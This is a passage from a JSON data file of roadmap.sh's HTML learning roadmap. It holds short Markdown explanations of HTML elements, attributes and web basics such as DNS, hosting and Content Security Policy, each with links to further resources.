    "path": "src/data/roadmaps/html/content/br@cBKw3jiAvdXVwUryV1aJl.md",
    "content": "# br Tag\n\nThe `<br>` tag in HTML creates a line break within a text block. It's used to start a new line without creating a new paragraph, effectively forcing the text that follows to appear on the next line. It is an empty element, meaning it has no closing tag.\n\nVisit the following resources to learn more:\n\n- [@article@<br>: The Line Break element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/br)\n- [@video@hr & br tags in HTML](https://www.youtube.com/watch?v=B1UCE3nfLww)"
  },
  {
    "path": "src/data/roadmaps/html/content/browsers@4gvPprSH7hRS4gtXNMcCF.md",
    "content": "# Browsers\n\nWeb browsers request and display websites by interpreting HTML, CSS, and JavaScript. Use rendering engines (Blink, Gecko) for display and JavaScript engines (V8) for code execution. Handle security, bookmarks, history, and user interactions for web navigation.\n\nVisit the following resources to learn more:\n\n- [@article@How Browsers Work](https://www.ramotion.com/blog/what-is-web-browser/)\n- [@article@Populating the Page: How Browsers Work](https://developer.mozilla.org/en-US/docs/Web/Performance/Guides/How_browsers_work)\n- [@video@How Do Web Browsers Work?](https://www.youtube.com/watch?v=5rLFYtXHo9s)\n- [@feed@Explore top posts about Browsers](https://app.daily.dev/tags/browsers?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/html/content/case-insensitivity@qXcn_AGcGWjT8GgjaW5WN.md",
    "content": "# Case Insensitivity\n\nHTML isn't picky about capitalization. You can write tags and attributes using uppercase, lowercase, or a mix of both. For example, `<html>`, `<HTML>`, and `<Html>` all work the same way. While browsers understand all these variations, it's generally considered good practice to stick to lowercase for better readability and consistency in your code."
  },
  {
    "path": "src/data/roadmaps/html/content/cite@PE_WoH4nbGAJSJT14Qli0.md",
    "content": "# The `<cite>` Element\n\nThe `<cite>` element in HTML is used to define the title of a creative work (e.g., a book, article, song, movie, painting, sculpture, etc.). It's typically used to provide a reference or citation for a source. The content inside the `<cite>` element is often rendered in italics by browsers, but this styling can be overridden with CSS.\n\nVisit the following resources to learn more:\n\n- [@article@<cite>: The Citation element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/cite)\n- [@video@How to set work title (cite tag) in HTML | HTML5 Tutorial](https://www.youtube.com/watch?v=nCsUD4h1qC4)"
  },
  {
    "path": "src/data/roadmaps/html/content/class@R0mDuO5V5NJI8Yupc_i8i.md",
    "content": "# Class Attribute\n\nThe `class` attribute in HTML is used to specify one or more class names for an HTML element. These class names can then be used by CSS and JavaScript to style and manipulate specific elements or groups of elements that share the same class. Essentially, it's a way to categorize and target elements for styling and scripting purposes.\n\nVisit the following resources to learn more:\n\n- [@article@HTML class global attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Global_attributes/class)\n- [@article@HTML Class](https://www.codecademy.com/resources/docs/html/attributes/class)\n- [@video@HTML - Classes | W3Schools](https://www.youtube.com/watch?v=tWIkDOJo0Ts)"
  },
  {
    "path": "src/data/roadmaps/html/content/csp@9FAlTHlRj_DVjbpuiGRzD.md",
    "content": "# Content Security Policy\n\nContent Security Policy (CSP) is a security standard introduced to prevent cross-site scripting (XSS), clickjacking, and other code injection attacks. It works by allowing you to define a whitelist of sources that the browser is permitted to load resources from. This helps to control the origins of scripts, stylesheets, images, and other assets, effectively reducing the attack surface of a web application.\n\nVisit the following resources to learn more:\n\n- [@article@Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP)\n- [@article@Content Security Policy Cheat Sheet¶](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html)\n- [@video@Content Security Policy Explained](https://www.youtube.com/watch?v=-LjPRzFR5f0)"
  },
  {
    "path": "src/data/roadmaps/html/content/css@fX71CXA26cUxY5WX_zABi.md",
    "content": "# CSS\n\nCSS, or Cascading Style Sheets, is a language used to describe the look and formatting of a document written in HTML. It controls things like the layout, colors, fonts, and overall visual presentation of web pages, ensuring a consistent and appealing user experience across different devices and screen sizes.\n\nVisit the following resources to learn more:\n\n- [@official@Visit the Dedicated CSS Roadmap](https://roadmap.sh/css)\n- [@book@HTML & CSS: design and build websites](https://sites.math.duke.edu/courses/math_everywhere/assets/techRefs/HTML%20and%20CSS-%20Design%20and%20Build%20Websites_Jon%20Duckett_2011.pdf)\n- [@article@CSS MDN Docs](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/What_is_CSS)\n- [@article@CSS | Wikipedia](https://en.wikipedia.org/wiki/CSS)\n- [@video@CSS Tutorial – Full Course for Beginners](https://www.youtube.com/watch?v=OXGznpKZ_sA)"
  },
  {
    "path": "src/data/roadmaps/html/content/data-attributes@7iDMmYQ-2Q6hrrFnUgRuP.md",
    "content": "# Data Attributes\n\nData attributes are special attributes in HTML that allow you to store extra information directly within HTML elements. These attributes start with `data-` followed by a name of your choosing. They are primarily used to store custom data private to the page or application, meaning they are not intended for use by search engines or other external services. This data can then be accessed and used by JavaScript to enhance the functionality and interactivity of your web pages.\n\nVisit the following resources to learn more:\n\n- [@article@Use data attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/How_to/Use_data_attributes)\n- [@article@HTML Data Attributes Guide](https://css-tricks.com/a-complete-guide-to-data-attributes/)\n- [@video@Using HTML5 Data Attributes in JavaScript and CSS Tutorial](https://www.youtube.com/watch?v=cTe5vQAm2So)"
  },
  {
    "path": "src/data/roadmaps/html/content/definition-lists@pEcxDj3dSgAwxydwKWU7d.md",
    "content": "# Definition Lists\n\nDefinition lists in HTML are used to present terms and their corresponding definitions. They are structured using three main elements: `<dl>` (definition list), `<dt>` (definition term), and `<dd>` (definition description). The `<dl>` element acts as the container for the entire list, while each term is marked with `<dt>` and its associated description is enclosed within `<dd>`. This structure allows for a clear and organized presentation of terms and their meanings.\n\nVisit the following resources to learn more:\n\n- [@article@<dl>: The Description List element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/dl)\n- [@article@<dd>: The Description Details element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/dd)"
  },
  {
    "path": "src/data/roadmaps/html/content/del@v3Uf4LTfCbyasNJ-2Vfj9.md",
    "content": "# del\n\nThe `<del>` element in HTML represents text that has been deleted or removed from a document. Browsers typically render deleted text with a strikethrough, visually indicating that the content is no longer valid or accurate. This element is useful for showing edits and revisions in a clear and understandable way.\n\nVisit the following resources to learn more:\n\n- [@article@<del>: The Deleted Text element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/del)\n- [@video@Deleted Text in HTML (del Tag)](https://www.youtube.com/watch?v=7TuyqBr0eH8)"
  },
  {
    "path": "src/data/roadmaps/html/content/dfn@jfC0Og9340AK7b3Fhp4WI.md",
    "content": "# dfn\n\nThe `<dfn>` element in HTML represents the defining instance of a term. It's used to indicate the specific location where a word or phrase is being defined for the first time within a document. Typically, the term being defined is included within the `<dfn>` tags, and often a definition or explanation of the term is provided nearby.\n\nVisit the following resources to learn more:\n\n- [@article@<dfn>: The Definition element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/dfn)\n- [@video@HTML dfn Tag](https://www.youtube.com/watch?v=o6pKejnUN9s)"
  },
  {
    "path": "src/data/roadmaps/html/content/div@ihP3FIRMr8iQTdOja_CxV.md",
    "content": "# div\n\nThe `<div>` element is a generic container for flow content, which in simpler terms means it's a way to group together other HTML elements. It doesn't inherently represent anything specific on its own, but it's commonly used to structure and style sections of a webpage. It has no effect on the content or layout until styled in some way using CSS (e.g., styling is directly applied to it, or some kind of layout model like Flexbox is applied to its parent element).\n\nVisit the following resources to learn more:\n\n- [@article@<div>: The Content Division element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/div)\n- [@article@HTML Div – What is a Div Tag and How to Style it with CSS](https://www.freecodecamp.org/news/html-div-what-is-a-div-tag-and-how-to-style-it-with-css/)\n- [@video@Learn HTML span & div in 4 minutes!](https://www.youtube.com/watch?v=WbnCll6vvw4)"
  },
  {
    "path": "src/data/roadmaps/html/content/dns@0Q41Bm_TZqsC7X-MH8uFe.md",
    "content": "# DNS\n\nDNS (Domain Name System) translates human-readable domain names into IP addresses through a global, decentralized server network. Enables easy internet navigation by converting names like [www.example.com](http://www.example.com) to numeric addresses browsers can connect to.\n\nVisit the following resources to learn more:\n\n- [@article@What is DNS?](https://www.cloudflare.com/en-gb/learning/dns/what-is-dns/)\n- [@article@Mess with DNS - DNS Playground](https://messwithdns.net/)\n- [@article@How DNS works (comic)](https://howdns.works/)\n- [@video@DNS and How does it Work?](https://www.youtube.com/watch?v=Wj0od2ag5sk)\n- [@feed@Explore top posts about DNS](https://app.daily.dev/tags/dns?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/html/content/doctype@VscH3rVqpX29vaKmdCMop.md",
    "content": "# !DOCTYPE Declaration\n\nThe `<!DOCTYPE>` declaration is an instruction to the web browser about the HTML version used to write the page. It's placed at the very top of an HTML document, before the `<html>` tag, and ensures that the browser renders the page in \"standards mode,\" following the correct specifications for that HTML version. Technically, It is not an HTML tag itself.\n\nVisit the following resources to learn more:\n\n- [@article@Doctype | MDN docs](https://developer.mozilla.org/en-US/docs/Glossary/Doctype)\n- [@article@What is the DOCTYPE Declaration in HTML?](https://www.freecodecamp.org/news/what-is-the-doctype-declaration-in-html/)\n- [@video@HTML DOCTYPE | Standards vs Quirks mode | HTML 5 Tutorial](https://www.youtube.com/watch?v=G1MOlh5uJYE)"
  },
  {
    "path": "src/data/roadmaps/html/content/domain-names@oRjacb1OqAlsP-YB16Nuy.md",
    "content": "# Domain name\n\nDomain names are human-friendly web addresses (e.g., [google.com](http://google.com)) substituting numerical IP addresses. Comprise second-level (\"google\") and top-level (\".com\") domains. Registered through registrars, essential for branding and online presence. DNS translates names to IP addresses for accessibility.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Domain Name?](https://developer.mozilla.org/en-US/docs/Learn_web_development/Howto/Web_mechanics/What_is_a_domain_name)\n- [@article@What is a domain name? | Domain name vs. URL](https://www.cloudflare.com/en-gb/learning/dns/glossary/what-is-a-domain-name/)\n- [@video@What Is a Domain Name | Domain Names Explained](https://www.youtube.com/watch?v=lMHzpBwPuG8)"
  },
  {
    "path": "src/data/roadmaps/html/content/embedding-media@UevJNi2HHNzpCAx7Icd0k.md",
    "content": "# Embedding Media\n\nEmbedding media in HTML involves integrating multimedia content like images, audio, and video directly into a webpage. This allows users to view or listen to these elements without having to download them separately or navigate to another site. HTML provides specific elements, such as `<img>`, `<audio>`, and `<video>`, to facilitate this embedding process, along with attributes to control their appearance and behavior.\n\nVisit the following resources to learn more:\n\n- [@article@Adding Media](https://learn.shayhowe.com/html-css/adding-media/)"
  },
  {
    "path": "src/data/roadmaps/html/content/external-css@PhC4amuHcgxujOJisNsIr.md",
    "content": "# External CSS\n\nExternal CSS involves creating separate files (with a `.css` extension) to hold all the styling rules for an HTML document. These CSS files are then linked to the HTML document using the `<link>` tag, allowing you to apply the same styles across multiple pages and keep your HTML code clean and organized. This approach promotes reusability and maintainability of your website's design.\n\nVisit the following resources to learn more:\n\n- [@article@Types of CSS: inline, external and internal definitions and differences explained](https://www.hostinger.com/tutorials/difference-between-inline-external-and-internal-css)\n- [@video@External Style Sheets | CSS](https://www.youtube.com/watch?v=2P_LUPc2HrM)"
  },
  {
    "path": "src/data/roadmaps/html/content/file-uploads@-UlDLjC8VsrKB9yexMtlr.md",
    "content": "# File Uploads\n\nFile uploads allow users to send files from their computer to a web server. This is typically achieved through an HTML form that includes an `<input>` element with the `type` attribute set to \"file\". When the form is submitted, the selected file(s) are sent to the server for processing and storage.\n\nVisit the following resources to learn more:\n\n- [@article@Input type file](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input/file)\n- [@article@How to Upload Files with HTML](https://www.freecodecamp.org/news/upload-files-with-html/)\n- [@video@HTML File Uploads in 5 Minutes (Plus Some JavaScript Features)](https://www.youtube.com/watch?v=iAxUpo0aJSk)\n- [@video@Uploading Files to the Web with HTML](https://www.youtube.com/watch?v=s2TTck1sj4s)"
  },
  {
    "path": "src/data/roadmaps/html/content/footer@rjE1yjFZ6KBWXgXDRIZc1.md",
    "content": "# Footer\n\nThe `<footer>` element in HTML represents a container for introductory content or navigation links that typically appear at the end of a section or document. It usually contains information about the author, copyright data, terms of use, contact information, related documents, and sometimes navigation. A footer is not necessarily restricted to the bottom of the page; it can be used within sections to denote the end of that specific content area.\n\nVisit the following resources to learn more:\n\n- [@article@<footer>: The Footer element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/footer)\n- [@video@Learn HTML headers & footers in 5 minutes! 🤯](https://www.youtube.com/watch?v=JNFdCgmMkPk)"
  },
  {
    "path": "src/data/roadmaps/html/content/form-validation@6NvYDlYYLZzf4IHXu0dWs.md",
    "content": "# Form Validation\n\nForm validation is the process of checking if the information a user provides in a form is correct and complete before it's submitted. This ensures that the data received is accurate and meets the required format, preventing errors and improving data quality. It can involve checking for things like required fields, correct email addresses, valid date formats, and acceptable password strength.\n\nVisit the following resources to learn more:\n\n- [@article@Client-side form validation](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Forms/Form_validation)\n- [@article@Using HTML form validation and the Constraint Validation API](https://developer.mozilla.org/en-US/docs/Web/HTML/Guides/Constraint_validation)\n- [@article@HTML Form Validation: Techniques, Tips, and Tools](https://www.dhiwise.com/post/html-form-validation-techniques-tips-and-tools)"
  },
  {
    "path": "src/data/roadmaps/html/content/frontend-development@Xy15NSxlS0QXYNzEvgocK.md",
    "content": "# Frontend Development\n\nFrontend development is the practice of creating the user interface and user experience of a website or web application. It focuses on the parts of a website that users directly interact with, such as buttons, text, images, and navigation menus. Frontend developers use languages like HTML, CSS, and JavaScript to build these interactive elements and ensure they are visually appealing and function correctly across different devices and browsers.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the dedicated Frontend Developer Roadmap](https://roadmap.sh/frontend)\n- [@article@What Is Front-End Development?](https://cloudinary.com/guides/front-end-development/front-end-development-the-complete-guide)\n- [@video@Frontend web development - a complete overview](https://www.youtube.com/watch?v=WG5ikvJ2TKA)\n- [@book@Frontend Development Handbook](https://github.com/FrontendMasters/front-end-handbook-2019/blob/master/exports/Front-end%20Developer%20Handbook%202019.pdf)"
  },
  {
    "path": "src/data/roadmaps/html/content/grouping-text@Wu3oW_gnjKTYV8QJHdNxi.md",
    "content": "# Grouping Text\n\n`<div>` and `<span>` are HTML elements used to group other elements together. The `<div>` element is a block-level element, meaning it creates a distinct block on the page and typically starts on a new line. It's often used for larger structural groupings. The `<span>` element, on the other hand, is an inline element, meaning it flows within the surrounding text and doesn't create a new line. It's useful for styling or manipulating specific portions of text without disrupting the overall layout."
  },
  {
    "path": "src/data/roadmaps/html/content/h1-to-h6@AmIRWclu6IYViWHXnGA8U.md",
    "content": "# Headings\n\nHeadings are used to define the titles and subtitles within a document. HTML provides six levels of headings, from `<h1>` (the most important and largest) to `<h6>` (the least important and smallest). They help structure content and improve readability by creating a clear hierarchy.\n\nVisit the following resources to learn more:\n\n- [@article@<h1>–<h6>: The HTML Section Heading elements](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/Heading_Elements)\n- [@video@HTML - Headings | W3Schools](https://www.youtube.com/watch?v=9gHPpwq6IaY)"
  },
  {
    "path": "src/data/roadmaps/html/content/head@Ufgy4-kC2drCov4MqEhjy.md",
    "content": "# head\n\nThe `<head>` element in HTML acts as a container for metadata (data about data) about the HTML document. This metadata isn't displayed on the page itself, but it provides information like the document's title, character set, linked stylesheets, scripts, and other important configurations that help browsers and search engines understand and process the HTML document correctly.\n\nVisit the following resources to learn more:\n\n- [@article@<head>: The Document Metadata (Header) element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/head)\n- [@video@Head Tag in HTML | An HTML5 Head Element Tutorial](https://www.youtube.com/watch?v=QRvA8Mp-uME)"
  },
  {
    "path": "src/data/roadmaps/html/content/header@0AF0Xs2nWVZav9t5Eh9NX.md",
    "content": "# Header\n\nThe `<header>` element represents introductory content, typically containing a group of introductory or navigational aids. It might contain a heading, logo, search form, or other relevant content. It's used to define the top section of a document, article, or section.\n\nVisit the following resources to learn more:\n\n- [@article@<header>: The Header element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/header)\n- [@video@Learn HTML headers & footers in 5 minutes!](https://www.youtube.com/watch?v=JNFdCgmMkPk)"
  },
  {
    "path": "src/data/roadmaps/html/content/hosting@t9KmPbRh6pkfouPi1mBqJ.md",
    "content": "# Hosting\n\nWeb hosting stores website files on servers, making sites accessible online. Types include shared (multiple sites per server) and dedicated (exclusive server) hosting. Providers offer additional services like email, domains, and security certificates. Critical for website performance and accessibility.\n\nVisit the following resources to learn more:\n\n- [@article@What is Web Hosting?](https://www.namecheap.com/guru-guides/what-is-web-hosting/)\n- [@video@Different Types of Web Hosting Explained](https://www.youtube.com/watch?v=AXVZYzw8geg)\n- [@video@Where to Host a Fullstack Project on a Budget](https://www.youtube.com/watch?v=Kx_1NYYJS7Q)"
  },
  {
    "path": "src/data/roadmaps/html/content/how-the-web-works@0CHn_ubTBRWgrYGy0moZh.md",
    "content": "# How the web works\n\nThe internet is a global network connecting computers and devices for information sharing. Enables browsing, email, streaming, and communication through interconnected systems. Acts as worldwide infrastructure facilitating access to online resources and services.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to the Internet](https://roadmap.sh/guides/what-is-internet)\n- [@article@How does the Internet Work?](https://cs.fyi/guide/how-does-internet-work)\n- [@article@How does the Internet work? | MDN Dcos](https://developer.mozilla.org/en-US/docs/Learn_web_development/Howto/Web_mechanics/How_does_the_Internet_work)\n- [@video@How the Internet Works in 5 Minutes](https://www.youtube.com/watch?v=7_LPdttKXPc)"
  },
  {
    "path": "src/data/roadmaps/html/content/hr@Bdu0_AcAADs7YiCaHte1g.md",
    "content": "# Horizontal Rule\n\nThe `<hr>` tag in HTML creates a thematic break in an HTML page and is most often displayed as a horizontal rule. It's used to separate content visually, like dividing sections of text or indicating a change in topic. The `<hr>` tag is an empty element, meaning it doesn't have a closing tag.\n\nVisit the following resources to learn more:\n\n- [@article@<hr>: The Thematic Break (Horizontal Rule) element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/hr)\n- [@video@hr & br tags in HTML](https://www.youtube.com/watch?v=B1UCE3nfLww)"
  },
  {
    "path": "src/data/roadmaps/html/content/html-comments@-ME4w8Bm5krSH14Yno4E5.md",
    "content": "# HTML Comments\n\nComments in HTML are notes that you can add to your code to explain what's going on, make reminders, or temporarily disable parts of your code. These comments are not displayed in the browser, so they're only visible when someone views the source code. To create a comment in HTML, you enclose your text within `<!--` and `-->`. Anything between these tags will be ignored by the browser.\n\nVisit the following resources to learn more:\n\n- [@article@Using HTML comments <!-- … -->](https://developer.mozilla.org/en-US/docs/Web/HTML/Guides/Comments)\n- [@video@HTML - Comments - W3Schools.com](https://www.youtube.com/watch?v=229HYq40vaA)"
  },
  {
    "path": "src/data/roadmaps/html/content/html-entities@Ego3XwBDgqlXOj6jSNvpy.md",
    "content": "# HTML Entities\n\nHTML entities are special codes used to represent reserved characters or characters that are difficult to type directly in HTML. They allow you to display characters like angle brackets (&lt; and &gt;), ampersands (&amp;), and copyright symbols (&copy;) that have special meanings in HTML or are not readily available on a standard keyboard. Using entities ensures that these characters are displayed correctly in a web browser.\n\nVisit the following resources to learn more:\n\n- [@article@Entity | MDN docs](https://developer.mozilla.org/en-US/docs/Glossary/Entity)\n- [@article@Character reference | MDN docs](https://developer.mozilla.org/en-US/docs/Glossary/Character_reference)\n- [@video@What Are HTML Entities, and What Are Some Common Examples?](https://www.youtube.com/watch?v=brTVRzirTGM)"
  },
  {
    "path": "src/data/roadmaps/html/content/html@b83npHc-R9M03hEGzA9Ha.md",
    "content": "# HTML\n\nHTML (HyperText Markup Language) is the standard markup language for creating web pages. It provides the structure of a webpage, defining elements like headings, paragraphs, images, and links using tags. Web browsers interpret these tags to display the content to users.\n\nVisit the following resources to learn more:\n\n- [@article@HTML MDN Docs](https://developer.mozilla.org/en-US/docs/Web/HTML)\n- [@article@HTML | Wikipedia](https://en.wikipedia.org/wiki/HTML)"
  },
  {
    "path": "src/data/roadmaps/html/content/html@fP2cPskF9KzppZUhfyB8U.md",
    "content": "# HTML Element\n\nThe `<html>` element is the root element of an HTML page. It tells the browser that this is an HTML document. All other HTML elements (except for the `<!DOCTYPE>` declaration) must be descendants of the `<html>` element.\n\nVisit the following resources to learn more:\n\n- [@article@<html>: The HTML Document / Root element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/html)\n- [@article@HTML <html> Tag](https://www.w3schools.com/tags/tag_html.asp)"
  },
  {
    "path": "src/data/roadmaps/html/content/i--em@9EGwQalXfVGpVcMpTeD4V.md",
    "content": "# i / em\n\nThe `<i>` and `<em>` tags in HTML are used to emphasize text. The `<i>` tag represents text that is set off from the normal prose, such as technical terms, foreign words, or thoughts. The `<em>` tag represents stress emphasis of its contents. While both may render similarly in browsers (often as italicized text), `<em>` has semantic meaning, indicating importance, whereas `<i>` is purely presentational.\n\nVisit the following resources to learn more:\n\n- [@article@<i>: The Idiomatic Text element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/i)\n- [@article@<em>: The Emphasis element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/em)\n- [@video@Learn HTML em and i elements in 6 minutes](https://m.youtube.com/watch?v=yhbzW3y_7KE)"
  },
  {
    "path": "src/data/roadmaps/html/content/id@PikSDs0EZ93RauZc_GDEw.md",
    "content": "# id Attribute\n\nThe `id` attribute in HTML provides a unique identifier for an element within a document. This identifier allows you to target and manipulate that specific element using CSS styles, JavaScript code, or even link directly to it using fragment identifiers in URLs (e.g., `#section1`). Each `id` value should be unique within the entire HTML document to ensure proper functionality.\n\nVisit the following resources to learn more:\n\n- [@article@HTML id global attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Global_attributes/id)\n- [@article@HTML id](https://www.codecademy.com/resources/docs/html/attributes/id)\n- [@video@HTML - Id | W3Schools](https://www.youtube.com/watch?v=rZ0k516qZmc)"
  },
  {
    "path": "src/data/roadmaps/html/content/iframe@W0pWVr4cdxSan9Ceu5t7i.md",
    "content": "# iframe\n\nAn `iframe` (Inline Frame) is an HTML element that allows you to embed another HTML document within the current HTML page. It essentially creates a window within your webpage where you can display content from a different source, such as another website, a video, or even another HTML file on your own server.\n\nVisit the following resources to learn more:\n\n- [@article@<iframe>: The Inline Frame element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/iframe)\n- [@article@What is an iframe, and how do you use it on your website?](https://world.siteground.com/kb/what-is-iframe/)\n- [@video@Learn HTML iframes in 3 minutes](https://www.youtube.com/watch?v=aRGdDy18qfY)"
  },
  {
    "path": "src/data/roadmaps/html/content/images@94HB2gvHgcEIeFQTlbVDu.md",
    "content": "# Images\n\nImages are a way to display visual content on a webpage. They are added to HTML documents using the `<img>` tag, which links to an image file. Attributes like `src` (source), `alt` (alternative text), `width`, and `height` are used to specify the image's location, description, and dimensions.\n\nVisit the following resources to learn more:\n\n- [@article@HTML images](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Structuring_content/HTML_images)\n- [@article@<img>: The Image Embed element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/img)\n- [@video@HTML - Images | W3Schools](https://www.youtube.com/watch?v=FmoYRiepmOE)"
  },
  {
    "path": "src/data/roadmaps/html/content/img-vs-figure@f5O_U9dt0b73ZhLrWWz2L.md",
    "content": "# img vs. figure\n\nThe `<img>` tag in HTML is used to embed a simple image directly into a webpage. It requires a `src` attribute to specify the image source. On the other hand, the `<figure>` element represents self-contained content, like an image, illustration, diagram, code snippet, etc., that is referenced as a single unit. It is typically used with the `<figcaption>` element to provide a caption for the figure.\n\nVisit the following resources to learn more:\n\n- [@article@<figure>: The Figure with Optional Caption element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/figure)\n- [@article@The Ultimate Guide to Using HTML Figure Elements](https://www.dhiwise.com/post/the-ultimate-guide-to-using-html-figure-elements)\n- [@video@When to use image, figure and picture tag in html](https://www.youtube.com/watch?v=Xn5_gDQFyJg)"
  },
  {
    "path": "src/data/roadmaps/html/content/including-javascript@5Ze6iqSnZLpQWnhUSGQOE.md",
    "content": "# Including JavaScript\n\nJavaScript can be added to HTML documents to make web pages interactive. This is done by embedding the JavaScript code directly within the HTML or by linking to external JavaScript files. Embedding uses the `<script>` tag, while linking uses the `<script>` tag with the `src` attribute pointing to the JavaScript file.\n\nVisit the following resources to learn more:\n\n- [@official@Visit the Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@article@Add JavaScript to your web page](https://developer.mozilla.org/en-US/docs/Web/HTML/How_to/Add_JavaScript_to_your_web_page)\n- [@video@Link JavaScript to HTML: How to run your JavaScript code in the browser](https://www.youtube.com/watch?v=821C5aJ3SLM)"
  },
  {
    "path": "src/data/roadmaps/html/content/inline-css@ievbuvgPKo261hM-9F117.md",
    "content": "# Inline CSS\n\nInline CSS involves applying styles directly to individual HTML elements using the `style` attribute. This method allows you to define specific visual properties for a single element, overriding any styles defined in external stylesheets or internal style blocks. It's useful for quick, element-specific styling, but can become difficult to manage for larger projects due to its lack of reusability and separation of concerns.\n\nVisit the following resources to learn more:\n\n- [@article@Inline Style in HTML – CSS Inline Styles](https://www.freecodecamp.org/news/inline-style-in-html/)\n- [@video@HTML & CSS for Absolute Beginners: Inline CSS and Internal stylesheets](https://www.youtube.com/watch?v=5vf7rtzil9M)"
  },
  {
    "path": "src/data/roadmaps/html/content/ins@G_hZBbIGOLn1-sh1jROL3.md",
    "content": "# ins Element\n\nThe `<ins>` element in HTML represents text that has been inserted into a document. It's used to indicate additions or updates to content, often displayed with an underline to visually distinguish it from the original text. This element helps to clearly communicate revisions and modifications within a webpage.\n\nVisit the following resources to learn more:\n\n- [@article@<ins>: The Inserted Text element -](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/ins)\n- [@video@Inserted Text in HTML (ins Tag)](https://www.youtube.com/watch?v=fKWiyfOUs9M)"
  },
  {
    "path": "src/data/roadmaps/html/content/internal-css@1uhThwxjHgXPu_i1__1eE.md",
    "content": "# Internal CSS\n\nInternal CSS allows you to add styles directly within an HTML document using the `<style>` tag. This tag is typically placed inside the `<head>` section of your HTML file. Within the `<style>` tag, you can define CSS rules that apply to specific HTML elements on that page, controlling their appearance and layout.\n\nVisit the following resources to learn more:\n\n- [@article@Types of CSS: inline, external and internal definitions and differences explained](https://www.hostinger.com/tutorials/difference-between-inline-external-and-internal-css)\n- [@video@HTML & CSS for Absolute Beginners: Inline CSS and Internal stylesheets](https://www.youtube.com/watch?v=5vf7rtzil9M)"
  },
  {
    "path": "src/data/roadmaps/html/content/introduction@JkLec2vSBMFAUc1Dzra-L.md",
    "content": "# Introduction to HTML\n\nHTML, or HyperText Markup Language, is the standard language for creating web pages. It uses a system of tags to structure content, such as headings, paragraphs, images, and links, so that web browsers can display them correctly. These tags tell the browser how to present the text, images, and other forms of multimedia on a webpage.\n\nVisit the following resources to learn more:\n\n- [@book@HTML & CSS: design and build websites](https://sites.math.duke.edu/courses/math_everywhere/assets/techRefs/HTML%20and%20CSS-%20Design%20and%20Build%20Websites_Jon%20Duckett_2011.pdf)\n- [@article@HTML MDN Docs](https://developer.mozilla.org/en-US/docs/Web/HTML)\n- [@article@What is HTML – Definition and Meaning of Hypertext Markup Language](https://www.freecodecamp.org/news/what-is-html-definition-and-meaning/)\n- [@video@HTML Tutorial for Beginners: HTML Crash Course](https://www.youtube.com/watch?v=qz0aGYrrlhU)"
  },
  {
    "path": "src/data/roadmaps/html/content/javascript@F-9uI39S9oYVGA8hi7aZI.md",
    "content": "# JavaScript\n\nJavaScript is a programming language primarily used to create interactive and dynamic effects within web browsers. It allows developers to implement complex features on web pages, updating content dynamically, controlling multimedia, animating images, and much more, enhancing the user experience beyond static HTML and CSS.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@opensource@You Don't Know JS Yet (book series)](https://github.com/getify/You-Dont-Know-JS)\n- [@article@JavaScript MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@article@Eloquent JavaScript textbook](https://eloquentjavascript.net/)\n- [@video@JavaScript Crash Course for Beginners](https://www.youtube.com/watch?v=hdI2bqOjy3c)"
  },
  {
    "path": "src/data/roadmaps/html/content/labels-and-inputs@9R5WYPxlChmz6bevJUwsT.md",
    "content": "# Labels and Inputs\n\nLabels and inputs are fundamental building blocks for creating forms in HTML. Labels provide descriptive text that tells users what information is expected in a corresponding input field. Input elements, on the other hand, are the interactive controls where users can enter data, such as text, numbers, dates, or make selections from options. They work together to create a user-friendly and accessible form experience.\n\nVisit the following resources to learn more:\n\n- [@article@<label>: The Label element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/label)\n- [@article@<input>: The HTML Input element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input)\n- [@article@HTML Inputs and Labels: A Love Story](https://css-tricks.com/html-inputs-and-labels-a-love-story/)"
  },
  {
    "path": "src/data/roadmaps/html/content/limitations@HxgDw9gh1vHiMIMyZW8H2.md",
